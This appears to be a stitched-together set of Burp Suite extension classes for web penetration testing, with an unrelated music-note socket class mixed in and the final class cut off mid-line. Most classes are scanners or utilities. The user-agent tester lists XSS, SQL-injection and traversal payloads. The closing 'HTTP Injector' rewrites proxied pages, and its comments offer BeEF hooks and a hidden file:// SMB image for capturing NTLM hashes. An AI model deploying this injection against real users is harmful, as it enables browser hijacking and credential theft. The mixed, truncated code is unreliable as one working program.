class BurpExtender(IBurpExtender, ITab, IScannerCheck, IScannerInsertionPoint): # definitions EXTENSION_NAME="CustomScanner" def registerExtenderCallbacks(self, callbacks): # keep a reference to our callbacks object self._callbacks = callbacks # obtain an extension helpers object self._helpers = callbacks.getHelpers() # define stdout writer self._stdout = PrintWriter(callbacks.getStdout(), True) self._stdout.println(self.EXTENSION_NAME + ' by @luxcupitor') self._stdout.println('================================') self._stdout.println('') self._stdout.println('TIP: Go to "Custom Scanner" tab and click "Execute on Proxy History"') self._stdout.println('to run the scanner checks on recently imported session files.') self._stdout.println('') # set our extension name callbacks.setExtensionName(self.EXTENSION_NAME) callbacks.registerScannerCheck(self) # add the custom tab and button to Burp's UI self._newpanel = Panel() self._newpanel.setLayout(FlowLayout()) self._button = JButton("Execute on Proxy History", actionPerformed=self.checkProxyHistory) self._newpanel.add(self._button) callbacks.customizeUiComponent(self._newpanel) callbacks.addSuiteTab(self) return def getTabCaption(self): '''Name of our tab''' return self.EXTENSION_NAME def getUiComponent(self): '''return our panel and button we setup''' return self._newpanel def checkProxyHistory(self,msg): '''This is what gets executed when the button in our panel is clicked''' for proxyitem in self._callbacks.getProxyHistory(): self.logScanIssue(proxyitem) return def getMatches(self, response, match): '''This finds our pattern match in the request/response and returns an int array''' start = 0 count = 0 matches = [array('i')] while start < len(response): start=self._helpers.indexOf(response, match, True, start, len(response)) if start == -1: break try: matches[count] except: matches.append(array('i')) matches[count].append(start) matches[count].append(start+len(match)) start += len(match) count += 1 return matches def doPassiveScan(self, baseRequestResponse): '''This sets up our custom check and returns the issue a list array''' PATTERN="secretdata" ISSUE_NAME="Pattern found in HTTP Response" ISSUE_DETAIL="HTTP Response contains this pattern: " + PATTERN ISSUE_BACKGROUND="The web site has exposed sensitive information" REMEDIATION_BACKGROUND="Sensitive information" REMEDIATION_DETAIL="Ensure sensitive information is only shown to authorized users" SEVERITY="Information" CONFIDENCE="Certain" issue = list() match = self.getMatches(baseRequestResponse.getResponse(), PATTERN) if len(match) > 0: httpmsgs = [self._callbacks.applyMarkers(baseRequestResponse,None,match)] issue.append(ScanIssue(baseRequestResponse.getHttpService(), self._helpers.analyzeRequest(baseRequestResponse).getUrl(), httpmsgs, ISSUE_NAME, ISSUE_DETAIL, SEVERITY, CONFIDENCE, REMEDIATION_DETAIL, ISSUE_BACKGROUND, REMEDIATION_BACKGROUND)) return issue def logScanIssue(self, baseRequestResponse): '''This is redundant (mostly) of the doPassiveScan function''' PATTERN="BEEFSESSION" ISSUE_NAME="Pattern found in Cookie header" ISSUE_DETAIL="HTTP Request contains this pattern: " + PATTERN ISSUE_BACKGROUND="The web browser might be hooked with BeEF" REMEDIATION_BACKGROUND="Potential XSS Zombie" REMEDIATION_DETAIL="Ensure this was from you" SEVERITY="High" CONFIDENCE="Tentative" for header in self._helpers.analyzeRequest(baseRequestResponse).getHeaders(): if "Cookie:" in header and PATTERN in header: match = self.getMatches(baseRequestResponse.getRequest(), PATTERN) httpmsgs = [self._callbacks.applyMarkers(baseRequestResponse,match,None)] issue=ScanIssue(baseRequestResponse.getHttpService(), self._helpers.analyzeRequest(baseRequestResponse).getUrl(), httpmsgs, ISSUE_NAME, ISSUE_DETAIL, SEVERITY, CONFIDENCE, REMEDIATION_DETAIL, ISSUE_BACKGROUND, REMEDIATION_BACKGROUND) self._callbacks.addScanIssue(issue) return def doActiveScan(self, baseRequestResponse, insertionPoint): INJECTION="id" PATTERN="uid=" ISSUE_NAME="Command Injection" ISSUE_DETAIL="Vulnerable to command injection" ISSUE_BACKGROUND="The web site has responded to command injection attempt" REMEDIATION_BACKGROUND="Sanitize all inputs" REMEDIATION_DETAIL="Assume all client supplied inputs are bad." SEVERITY="High" CONFIDENCE="Certain" issue = list() checkRequest = insertionPoint.buildRequest(INJECTION) checkRequestResponse = self._callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), checkRequest) match = self.getMatches(checkRequestResponse.getResponse(), PATTERN) if len(match) > 0: requestHighlights = [insertionPoint.getPayloadOffsets(INJECTION)] httpmsgs = [self._callbacks.applyMarkers(checkRequestResponse, requestHighlights, match)] issue.append(ScanIssue(baseRequestResponse.getHttpService(), self._helpers.analyzeRequest(baseRequestResponse).getUrl(), httpmsgs,ISSUE_NAME, ISSUE_DETAIL, SEVERITY, CONFIDENCE, REMEDIATION_DETAIL, ISSUE_BACKGROUND, REMEDIATION_BACKGROUND)) return issue
class BurpExtender(IBurpExtender, ISessionHandlingAction): # # implement IBurpExtender # def registerExtenderCallbacks(self, callbacks): # keep a reference to our callbacks object self._callbacks = callbacks # set our extension name callbacks.setExtensionName("WicketRequestHandler") callbacks.registerSessionHandlingAction(self) # obtain our output stream self._stdout = PrintWriter(callbacks.getStdout(), True) self._stderr = PrintWriter(callbacks.getStderr(), True) self._helper = callbacks.getHelpers() return # # implement ISessionHandlingAction # # This method is used by Burp to obtain the name of the session handling # action. This will be displayed as an option within the session handling # rule editor when the user selects to execute an extension-provided # action. # # @return The name of the action. def getActionName(self): return "UpdateWicketInterface" # # implement ISessionHandlingAction # # # This method is invoked when the session handling action should be # executed. This may happen as an action in its own right, or as a # sub-action following execution of a macro. # # @param IHttpRequestResponse currentRequest The base request that is currently being processed. # The action can query this object to obtain details about the base # request. It can issue additional requests of its own if necessary, and # can use the setter methods on this object to update the base request. # @param IHttpRequestResponse[] macroItems If the action is invoked following execution of a # macro, this parameter contains the result of executing the macro. # Otherwise, it is # <code>null</code>. Actions can use the details of the macro items to # perform custom analysis of the macro to derive values of non-standard # session handling tokens, etc. # def performAction(self, currentRequest, macroItems): if macroItems is None: self._stdout.println("No macro defined!") return if currentRequest is None: self._stdout.println("No current request!") return request_info = self._helper.analyzeRequest(currentRequest.getRequest()) request_params = request_info.getParameters() if request_params is None: self._stdout.println("No request params to update") return wicket_interface = None identifier = None for p in request_params: if p.getName() == "wicket:interface": wicket_interface = p elif "_hf_0" in p.getName(): identifier = p updated_request = currentRequest.getRequest() # Remove the identifier if it exists if identifier is not None: updated_request = self._helper.removeParameter(updated_request, identifier) # Wicket Interface needs updating if wicket_interface is not None: for m in macroItems: m_response = m.getResponse() if m_response is None: self._stderr.println("No Macro Response!") continue else: m_response_info = self._helper.analyzeResponse(m_response) m_response_body = self._helper.bytesToString(m_response[m_response_info.getBodyOffset():]) re_interface = re.compile(r"(action=\"\?wicket:interface=)([\w:]+)(\")") re_identifier = re.compile(r"(\w)+_hf_0") result = re_interface.search(m_response_body) iresult = re_identifier.search(m_response_body) if result is None: self._stderr.println("No interface found in macro response!") else: wi_value = result.group(2) wicket_interface = self._helper.buildParameter( wicket_interface.getName(), wi_value, wicket_interface.getType()) self._stdout.println("Found wicket interface: %s" % wi_value) updated_request = self._helper.updateParameter(updated_request, wicket_interface) if iresult is None: self._stderr.println("No identifier found in macro response!") else: i_name = iresult.group(0) identifier = self._helper.buildParameter( i_name, "", p.getType()) updated_request = self._helper.addParameter(updated_request, identifier) self._stdout.println("Found identifier: %s" % i_name) #self._stdout.println(self._helper.bytesToString(updated_request)) currentRequest.setRequest(updated_request)
class BurpExtender(IBurpExtender, IContextMenuFactory): banned_headers = ['expires', 'vtag', 'etag', 'date', 'time', 'set-cookie', 'x-transaction', 'x-cache', 'age'] useragents = dict() useragents['Desktop Web Browsers'] = \ [ "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)", "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)", "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)", "Mozilla/4.0 (compatible;MSIE 5.5; Windows 98)", "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)", "Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100922 Firefox/4.0.1", "Mozilla/5.0 (Windows; U; Windows NT 5.2; rv:1.9.2) Gecko/20100101 Firefox/3.6", "Mozilla/5.0 (X11; U; SunOS sun4v; en-US; rv:1.8.1.3) Gecko/20070321 Firefox/2.0.0.3", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7", "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13", "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8", "Opera/9.99 (Windows NT 5.1; U; pl) Presto/9.9.9", 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E;', ] useragents['Mobile Web Browsers'] = \ [ 'Mozilla/5.0 (Linux; Android 4.4; Nexus 7 Build/KOT24) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.105 Safari/537.36', 'Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16', 'Nokia7650/1.0 Symbian-QP/6.1 Nokia/2.1', ] useragents['Crawlers and bots'] = \ [ "Googlebot/2.1 (+http://www.google.com/bot.html)", "Googlebot-Image/1.0", "Mediapartners-Google", "Mozilla/2.0 (compatible; Ask Jeeves)", "msnbot-Products/1.0 (+http://search.msn.com/msnbot.htm)", "mmcrawler", "TrackBack/1.02", ] useragents['Devices and non-browsers'] = \ [ "Windows-Media-Player/9.00.00.4503", "Mozilla/5.0 (PLAYSTATION 3; 2.00)", "wispr", "Wget 1.9cvs-stable", "Lynx (textmode)", 'Mozilla/5.0', ] useragents['Attack strings'] = \ [ "<script>alert('123')</script>", "'", "' or 22=22'--", "%0d%0a", "../../../../../../etc/passwd", "../../../../../boot.ini", "Mozilla/4.75 (Nikto/2.01)", "curl/7.7.2 (powerpc-apple-darwin6.0) libcurl 7.7.2 (OpenSSL 0.9.6b)", "w3af.sourceforge.net", "HTTrack", ".nasl", "paros", "webinspect", "brutus", "java", ] def __init__(self, ): self.menuitems = dict() self.custom_file_text = 'Load custom user-agent strings from file ...' self.generate_menu_items() def generate_menu_items(self): all_tests = 'All tests' if all_tests not in self.useragents.keys(): _tmparray = list() for v in self.useragents.values(): _tmparray.extend(v) self.useragents[all_tests] = _tmparray if self.custom_file_text not in self.useragents.keys(): self.useragents[self.custom_file_text] = [] for k in self.useragents.keys(): menuitem = JMenuItem(k, actionPerformed=self.menuItemClicked) self.menuitems[menuitem] = k def registerExtenderCallbacks(self, callbacks): self.menuitems = dict() self._callbacks = callbacks self._helpers = callbacks.getHelpers() callbacks.setExtensionName(EXTENSION_NAME) callbacks.registerContextMenuFactory(self) self._contextMenuData = None self._stdout = PrintWriter(callbacks.getStdout(), True) self.generate_menu_items() return def createMenuItems(self, contextMenuInvocation): menuItemList = ArrayList() self._contextMenuData = contextMenuInvocation.getSelectedMessages() submenu = JMenu(EXTENSION_NAME) for menuitem in sorted(self.menuitems): submenu.add(menuitem) menuItemList.add(submenu) return menuItemList def menuItemClicked(self, event): if self._contextMenuData is None: return menutext = event.getSource().getText() if menutext == self.custom_file_text: self.get_custom_headers_file(event) useragents = self.useragents[menutext] if len(useragents) == 0: return if DEBUG: self.run_test(self._contextMenuData, useragents) else: t = threading.Thread(target=self.run_test, args=[self._contextMenuData, useragents]) t.daemon = True t.start() def train(self, httpService, requestBytes): httpRequestResponse = self._callbacks.makeHttpRequest(httpService, requestBytes) httpResponseBytes = self._helpers.bytesToString(httpRequestResponse.getResponse()) bodyOffset = self._helpers.analyzeRequest(httpResponseBytes).getBodyOffset() httpResponseBody = self._helpers.bytesToString(httpResponseBytes[bodyOffset:]) self.similaritytest_headers.train(self.get_clean_headers(httpResponseBytes)) self.similaritytest_upperbody.train(httpResponseBody) self.similaritytest_lowerbody.train(httpResponseBody) def initialise(self, baseRequestResponse): httpResponseBytes = self._helpers.bytesToString(baseRequestResponse.getResponse()) bodyOffset = self._helpers.analyzeRequest(httpResponseBytes).getBodyOffset() httpResponseBody = self._helpers.bytesToString(httpResponseBytes[bodyOffset:]) self.similaritytest_headers = Similarity(self.get_clean_headers(httpResponseBytes)) self.similaritytest_upperbody = Similarity(httpResponseBody) self.similaritytest_lowerbody = Similarity(httpResponseBody, lower=True) def get_clean_headers_list(self, httpResponseBytes, banned_headers): httpResponseInfo = self._helpers.analyzeResponse(httpResponseBytes) httpResponseHeaders = httpResponseInfo.getHeaders() newHttpResponseHeaders = list() for hdr in httpResponseHeaders: _tmp = map(lambda x: x.strip().lower(), hdr.split(':', 1)) if len(_tmp) == 2: k, v = _tmp if not k in banned_headers: newHttpResponseHeaders.append(hdr) else: newHttpResponseHeaders.append(hdr) return newHttpResponseHeaders def get_clean_headers(self, httpResponseBytes, banned_headers=banned_headers): newHttpResponseHeaders = self.get_clean_headers_list(httpResponseBytes, banned_headers) httpResponseInfo = self._helpers.analyzeResponse(httpResponseBytes) bodyOffset = httpResponseInfo.getBodyOffset() httpResponseBody = httpResponseBytes[bodyOffset:] newhttpResponseBytes = self._helpers.buildHttpMessage(newHttpResponseHeaders, httpResponseBody)[:bodyOffset] return newhttpResponseBytes def choose_file(self, event): chooseFile = JFileChooser() chooseFile.showOpenDialog(None) chosenFile = chooseFile.getSelectedFile() return str(chosenFile) def get_custom_headers_file(self, event): self.useragents[self.custom_file_text] = list() customheadersfn = self.choose_file(event) if customheadersfn is None or customheadersfn == 'None': return with open(customheadersfn,'r') as customheadersf: for line in customheadersf: self.useragents[self.custom_file_text].append(line.strip()) def run_test(self, _contextMenuData, useragents): for baseRequestResponse in _contextMenuData: httpService = baseRequestResponse.getHttpService() requestBytes = baseRequestResponse.getRequest() targeturl = self._helpers.analyzeRequest(baseRequestResponse).getUrl() self._stdout.println('Target request for this URL: ' + targeturl.toString()) if baseRequestResponse.getResponse() == None: self._stdout.println('No response for this request .. issuing a new request') baseRequestResponse = self._callbacks.makeHttpRequest(httpService, requestBytes) if baseRequestResponse.getResponse() == None: self._stdout.println('Did you get a response') continue # first we do a test to see how stable the responses are # make a first request to compare to self.initialise(baseRequestResponse) # and we check if the response is totally way off from the one previously recorded # if it is then we have to issue a new request - might be an expired session self.train(httpService, requestBytes) if (self.similaritytest_upperbody.norm < 0.6) and \ (self.similaritytest_lowerbody.norm < 0.6) and \ (self.similaritytest_headers.norm < 0.6): self._stdout.println('The previous request appears to grown fungii.. refreshing') baseRequestResponse = self._callbacks.makeHttpRequest(httpService, requestBytes) self.initialise(baseRequestResponse) # run the same request and analyse the responses to get a standard deviation # using the train() function which finds the lowest ratio self._stdout.println('training ...') for _ in range(10): self.train(httpService, requestBytes) # reduce norm by 0.05 to account for future changes for obj in [self.similaritytest_upperbody, self.similaritytest_lowerbody, self.similaritytest_headers]: obj.norm -= 0.05 # now we check what is the lowest ratio number and use that as a normality tester if (self.similaritytest_upperbody.norm < 0.6) and (self.similaritytest_lowerbody.norm < 0.6) and ( self.similaritytest_headers.norm < 0.6): self._stdout.println('The site does not appear stable enough for our tests') continue dotest = list() if (self.similaritytest_lowerbody.norm >= 0.6): dotest.append('lowerbody') if (self.similaritytest_upperbody.norm >= 0.6): dotest.append('upperbody') if (self.similaritytest_headers.norm >= 0.6): dotest.append('headers') self._stdout.println("Norm for headers: " + str(self.similaritytest_headers.norm)) self._stdout.println("Norm for upper body: " + str(self.similaritytest_upperbody.norm)) self._stdout.println("Norm for lower body: " + str(self.similaritytest_lowerbody.norm)) requestInfo = self._helpers.analyzeRequest(requestBytes) origRequestBody = requestBytes[requestInfo.getBodyOffset():] # remove the user-agent header so that we can add our own later newRequestHeaders = self.get_clean_headers_list(requestBytes, banned_headers=['user-agent']) # get all reported issues for the target URL so that we later check if the issue is a dupe scanIssues = self._callbacks.getScanIssues(None) for ua in useragents: if len(ua) > 25: issueName = "User-Agent dependent response (%s...%s)" % (ua[:30], ua[-12:]) else: issueName = "User-Agent dependent response (%s)" % (ua,) issueDetail = "Web location responds differently when User-Agent header is set to \"%s\"." % ua alreadyscanned = False for scanIssue in scanIssues: if (scanIssue.getIssueDetail() == issueDetail) and (scanIssue.getUrl() == targeturl): alreadyscanned = True continue if alreadyscanned: self._stdout.println("User-agent: %s is already an issue .. skipping" % ua) continue # add the new user agent _newRequestHeaders = newRequestHeaders[:] _newRequestHeaders.append(u'User-Agent: ' + ua) # build and send http request httpMessage = self._helpers.buildHttpMessage(_newRequestHeaders, origRequestBody) httpRequestResponse = self._callbacks.makeHttpRequest(httpService, httpMessage) # get the response httpResponseBytes = self._helpers.bytesToString(httpRequestResponse.getResponse()) # split up the head from the body bodyOffset = self._helpers.analyzeRequest(httpResponseBytes).getBodyOffset() httpResponseBody = self._helpers.bytesToString(httpResponseBytes[bodyOffset:]) change_hdr = None change_upperbody = None change_lowerbody = None # only test stable ones if 'headers' in dotest: change_hdr = self.similaritytest_headers.is_different(self.get_clean_headers(httpResponseBytes)) if 'upperbody' in dotest: change_upperbody = self.similaritytest_upperbody.is_different(httpResponseBody) if 'lowerbody' in dotest: change_lowerbody = self.similaritytest_lowerbody.is_different(httpResponseBody) if change_lowerbody or change_upperbody or change_hdr: self._stdout.println( "%s - headers: %s upperbody: %s lowerbody: %s" \ % (ua, change_hdr, change_upperbody, change_lowerbody)) httpmsgs = [baseRequestResponse, httpRequestResponse] issue = ScanIssue(httpService, self._helpers.analyzeRequest(httpRequestResponse).getUrl(), httpmsgs, issueName, issueDetail, "Information", "Firm", None, None, None, ) self._callbacks.addScanIssue(issue) else: self._stdout.println('No changes detected with "%s"' % ua) self._stdout.println('Done')
class ClientConnection(object): def __init__(self, server, socket, connectionTrack): self.server = server self.connectionTrack = connectionTrack self.kill = False self.notes = {} self.socket = socket self.in = BufferedReader(InputStreamReader(self.socket.getInputStream())) self.out = PrintWriter(self.socket.getOutputStream(), True) self.handlers = { Message.ADD_NOTE: self._addNote, Message.ADD_LOOPED_NOTE: self._addLoopedNote, Message.DELETE_NOTE: self._deleteNote, Message.DELETE_ALL_NOTES: self._deleteAllNotes } def _addNote(self, args): result = self.connectionTrack.addNote(*args) key = hash(result) self.notes[key] = result return key def _addLoopedNote(self, args): result = self.connectionTrack.addLoopedNote(*args) key = hash(result) self.notes[key] = result return key def _deleteNote(self, args): note = self.notes.get(args[0]) if note is not None: self.connectionTrack.deleteNote(note) else: print 'Unknown note hash:', args[0] def _deleteAllNotes(self, args): self.connectionTrack.deleteAllNotes() def handle(self): while not self.kill and not self.socket.isClosed(): data = self.in.readLine() if data is None: self.kill = True break msg = Message.decode(data) msgType = msg.msgType msgData = msg.msgData handle = self.handlers[msgType](msgData) print data, '->', msg ack = Ack(handle) self.out.println(str(ack)) # clean up self.connectionTrack.deleteAllEvents() self.server.deleteConnection(self.connectionTrack) self.socket.close() def __str__(self): return str(self.socket.getInetAddress()).split('/')[-1]
class BurpExtender(IBurpExtender, IHttpRequestResponse, IHttpService, ITab): # Implement IBurpExtenderder def registerExtenderCallbacks(self, callbacks): # Keep a reference to our callbacks object self.callbacks = callbacks # Obtain an extension helpers object self.helpers = callbacks.getHelpers() # Exclude Requests self.excludext = re.compile('\.(gif|jpg|jpeg|bmp|js|tif|tiff|docx|doc|pdf|png|jif|jfif|svg|swf|ico|css)\s') # Writing streams self.stdout = PrintWriter(callbacks.getStdout(), True) self.stderr = PrintWriter(callbacks.getStderr(), True) # Set our extension name callbacks.setExtensionName("logme") # Main panel self.panel = JPanel() #self.panel = JPanel(GridLayout(1,3)) # Create Labels self.labelProxy = JLabel("Proxy", JLabel.CENTER) self.labelScanner = JLabel("Scanner", JLabel.CENTER) # Create buttons self.buttonFile = Button("File", actionPerformed=self.selectFile) self.buttonSave = Button("Save", actionPerformed=self.save) # Add labels and buttons to pane. # Order matters for GridLayout self.panel.add(self.labelProxy) self.panel.add(self.buttonFile) self.panel.add(self.buttonSave) #self.panel.add(self.labelScanner) # Add panel to Burps UI callbacks.customizeUiComponent(self.panel) # Add tab to Burp callbacks.addSuiteTab(self) # Set title for our tab def getTabCaption(self): return "logme" # Idk what this does, but it's required def getUiComponent(self): return self.panel def selectFile(self, event): ''' Action handler to select a file to save to ''' chooser = JFileChooser() retVal = chooser.showSaveDialog(None) #if reVal == JFileChooser.APPROVE_OPTION: self.saveFile = chooser.selectedFile.path # Add some kind of exception handler here... def save(self, event): ''' Action handler to write logs to file ''' # Todo # Add exception handling for files self.stdout.println("Writing to file: " + self.saveFile) # Get file descriptor writer = open(self.saveFile, 'w') # Get proxy history. Returns IHTTPRequestResponse[] proxyHistory = self.callbacks.getProxyHistory() if proxyHistory: # can't get time or IP from burp, so these are fillers time = '00:00:00 PM' ip = '[127.0.0.1]' for item in proxyHistory: request = item.getRequest() response = item.getResponse() service = item.getHttpService() protocol = item.getProtocol() domain = protocol + "://" + service.getHost() try: # Write request writer.write('======================================================\n') writer.write(time + " " + domain + " " + ip + "\n") writer.write('======================================================\n') writer.write(convString(request) + "\n") # If it's an image/flash/css, skip response if self.excludext.match(convString(request) + "\n") is None: # Write response writer.write('======================================================\n') writer.write(convString(response) + "\n") writer.write('======================================================\n') writer.write("\n\n\n") except Exception, e: # Catch any byte to utf-8 char conversion errors self.stderr.println("Error writing to log.") continue else:
class BurpExtender(IBurpExtender, IHttpListener, IProxyListener, IScannerListener, IExtensionStateListener): # # implement IBurpExtender # def registerExtenderCallbacks(self, callbacks): # keep a reference to our callbacks object self._callbacks = callbacks # set our extension name callbacks.setExtensionName("Event listeners") # obtain our output stream self._stdout = PrintWriter(callbacks.getStdout(), True) # register ourselves as an HTTP listener callbacks.registerHttpListener(self) # register ourselves as a Proxy listener callbacks.registerProxyListener(self) # register ourselves as a Scanner listener callbacks.registerScannerListener(self) # register ourselves as an extension state listener callbacks.registerExtensionStateListener(self) return # # implement IHttpListener # def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo): self._stdout.println( ("HTTP request to " if messageIsRequest else "HTTP response from ") + messageInfo.getHttpService().toString() + " [" + self._callbacks.getToolName(toolFlag) + "]") return # # implement IProxyListener # def processProxyMessage(self, messageIsRequest, message): self._stdout.println( ("Proxy request to " if messageIsRequest else "Proxy response from ") + message.getMessageInfo().getHttpService().toString()) return # # implement IScannerListener # def newScanIssue(self, issue): self._stdout.println("New scan issue: " + issue.getIssueName()) return # # implement IExtensionStateListener # def extensionUnloaded(self): self._stdout.println("Extension was unloaded") return
class BurpExtender(IBurpExtender, IScannerCheck): def registerExtenderCallbacks(self, callbacks): # Writing streams self.stdout = PrintWriter(callbacks.getStdout(), True) self.stdout.println('Heada extension loaded.') # Keep a reference to our callbacks object self.callbacks = callbacks # Obtain an extension helpers object self.helpers = callbacks.getHelpers() # Set our extension name callbacks.setExtensionName('heada') # Register a custom scanner check callbacks.registerScannerCheck(self) def doPassiveScan(self, baseRequestResponse): # Set vars issues = [] responseHeaders = [] messages = [baseRequestResponse] response = baseRequestResponse.getResponse() headers = self.helpers.analyzeResponse(response).getHeaders() url = self.helpers.analyzeRequest(baseRequestResponse).getUrl() service = baseRequestResponse.getHttpService() heada = HeadaCheck() # Extract only the header names # headers[] contains a list of name/value header pairs for header in headers: responseHeaders.append(header.split(':')[0].strip()) # CSP check check = heada.checkCsp(responseHeaders) if check == False: issues.append(CspIssue(service, url, messages)) # HSTS check check = heada.checkHsts(responseHeaders) if check == False: issues.append(HstsIssue(service, url, messages)) # XSS check check = heada.checkXss(responseHeaders) if check == False: issues.append(XssIssue(service, url, messages)) # Content Sniffing check check = heada.checkCsniff(responseHeaders) if check == False: issues.append(CsniffIssue(service, url, messages)) # Server header check # We need to know the value pair, so we pass headers check, versions = heada.checkServer(headers) if check == False: issues.append(ServerIssue(service, url, messages, versions)) return issues # Remove duplicate issues def consolidateDuplicateIssues(self, existingIssue, newIssue): if (existingIssue.getIssueName() == newIssue.getIssueName()): return -1 return 0
class BurpExtender(IBurpExtender, ITab, IContextMenuFactory): # # implement IBurpExtender # def registerExtenderCallbacks(self, callbacks): # properties self._title = "Generate Python Template" self._templatePath = '###### ----> PUT HERE THE ABSOLUTE PATH TO template.py <--- ####' # set our extension name callbacks.setExtensionName(self._title) # keep a reference to our callbacks object self._callbacks = callbacks # obtain an extension helpers object self._helpers = callbacks.getHelpers() # obtain std streams self._stdout = PrintWriter(callbacks.getStdout(), True) self._stderr = PrintWriter(callbacks.getStderr(), True) # main pane (top/bottom) self._mainpane = JPanel() self._mainpane.setLayout( GridLayout(2,1) ) # configure bottom pane for buttons self._botPane = JPanel() flowLayout = FlowLayout() self._botPane.setLayout( flowLayout ) self._botPane.add( JButton("Generate", actionPerformed=self.regeneratePy) ) self._botPane.add( JButton("Export", actionPerformed=self.exportPy) ) # Configure pyViewer (JTextArea) for python output --> top pane self._pyViewer = JTextArea(5, 20); scrollPane = JScrollPane(self._pyViewer); self._pyViewer.setEditable(True); self._pyViewer.setText( "Waiting request ..." ); ### Assign top / bottom components self._mainpane.add(scrollPane) self._mainpane.add(self._botPane) # customize our UI components callbacks.customizeUiComponent(self._mainpane) # add the custom tab to Burp's UI callbacks.addSuiteTab(self) # register ourselves as a ContextMenuFactory callbacks.registerContextMenuFactory(self) return def regeneratePy(self,event): pass def exportPy(self,event): chooseFile = JFileChooser() ret = chooseFile.showDialog(self._mainpane, "Choose file") filename = chooseFile.getSelectedFile().getCanonicalPath() self._stdout.println("Export to : " + filename ) open(filename, 'w', 0).write( self._pyViewer.getText() ) # # implement ITab # def getTabCaption(self): return "PyTemplate" def getUiComponent(self): return self._mainpane # # implement IContextMenuFactory # def createMenuItems(self, invocation): # add a new item executing our action item = JMenuItem(self._title, actionPerformed=lambda x, inv=invocation: self.loadRequest(inv)) return [ item ] def loadRequest(self, invocation): pyCode = self.pythonHeader() selectedMessages = invocation.getSelectedMessages() self._numbMessages = len(selectedMessages) self._currentMessageNumber = 1 for message in selectedMessages: self._currentlyDisplayedItem = message pyCode += self.generateRequest() self._currentMessageNumber += 1 pyCode += '\n' + self.generateMain() self._pyViewer.setText( pyCode ); def pythonHeader(self): pyCode = "# -*- coding: utf-8 -*-\n\n" pyCode += "import requests\n" pyCode += "import time\n\n" return pyCode def formatHeaders(self, httpReqInfos): headers = httpReqInfos.getHeaders()[1:] #First header is method+path : GET/POST .. formatHeaders = "" name,content = headers[0].split(':', 1) formatHeaders += 'headers["' + self.sanitizeStr(name) + '"] = ' + '"' + self.sanitizeStr(content) + '"\n' for header in headers[1:]: name,content = header.split(':', 1) if "Content-Length" not in name: if "Cookie" in name and self._numbMessages > 1 and self._currentMessageNumber != 1: continue else: formatHeaders += ' headers["' + self.sanitizeStr(name) + '"] = ' + '"' + self.sanitizeStr(content) + '"\n' return formatHeaders def sanitizeStr(self, strToValid): valid = str(strToValid) valid = valid.replace('"','\\"') return valid.strip() def generateRequest(self): httpInfos = self._currentlyDisplayedItem.getHttpService() httpReq = self._currentlyDisplayedItem.getRequest() requestInfos = self._helpers.analyzeRequest(httpInfos, httpReq) pyTemplate = open(self._templatePath, 'r').read() pyCode = pyTemplate.replace( '$$NUM$$', str(self._currentMessageNumber) ) pyCode = pyCode.replace( '$$URL$$', self.sanitizeStr(requestInfos.getUrl()) ) pyCode = pyCode.replace( '$$HEADERS$$', self.formatHeaders(requestInfos) ) pyCode = pyCode.replace( '$$METHOD$$', requestInfos.getMethod() ) if requestInfos.getMethod() == "GET": trigger = "req = session.get(url, headers=headers, verify=False, allow_redirects=True)" pyCode = pyCode.replace( '$$TRIGGER$$', trigger ) pyCode = pyCode.replace( '$$POST_DATA$$', '' ) if requestInfos.getMethod() == "POST": trigger = "req = session.post(url, headers=headers, data=post_data, verify=False, allow_redirects=True)" pyCode = pyCode.replace( '$$TRIGGER$$', trigger ) rawData = httpReq[requestInfos.getBodyOffset():].tostring() dataPyCode = '## POST DATA\n' dataPyCode += ' post_data = "' + self.sanitizeStr(rawData) + '"\n' pyCode = pyCode.replace( '$$POST_DATA$$', dataPyCode ) return pyCode + '\n' def generateMain(self): pyCode = 'if __name__ == "__main__":\n' pyCode += ' session = requests.Session()\n' for i in xrange(1, self._numbMessages + 1): pyCode += ' code_'+str(i)+', time_'+str(i)+', response_'+str(i)+' = performRequest_'+str(i)+'(session)\n' return pyCode
class BurpExtender(IBurpExtender, IProxyListener): def registerExtenderCallbacks(self, callbacks): # ==================== START CONFIG ==================== # Prefix </head> with some JavaScript code (BeEF, FireBug Lite) # self._marker = "</head>" # self._code = "<script type='text/javascript' " \ # + "src='https://getfirebug.com/releases/lite/" \ # + "1.4/firebug-lite.js#startOpened=true'></script>" + self._marker # # Prefix </body> with an invisible image (NTLM hashes) # self._marker = "</body>" # self._code = "<img src='file://192.168.2.66/images/asgo_sm_165283.png'" \ # + style='display:none'/>" + self._marker # Replace images (stupid prank) self._marker = "<img " self._code = "<img src='http://www.agarri.fr/images/hacked.png' " # Log more information self._verbose = True # Infect only pages matching the scope defined in Burp self._infect_only_in_scope = False # Manage infection duplicates # 0: do not manage duplicates / infect every page (if MIME type and scope are OK) # 1: one infection by source IP address / useful when deploying client-side attacks (Metasploit, img on a SMB) # 2: one infection by source IP address and service / useful when using BeEF # 3: one infection by source IP address and URL (including GET parameters) / useful when injecting FireBug Lite self._duplicates = 0 # desired MIME type self._mime_type = 'HTML' # ===================== END CONFIG ===================== # set our extension name callbacks.setExtensionName("HTTP Injector") # keep a reference to our callbacks object self._callbacks = callbacks # obtain an extension helpers object self._helpers = callbacks.getHelpers() # obtain stdout stream self._stdout = 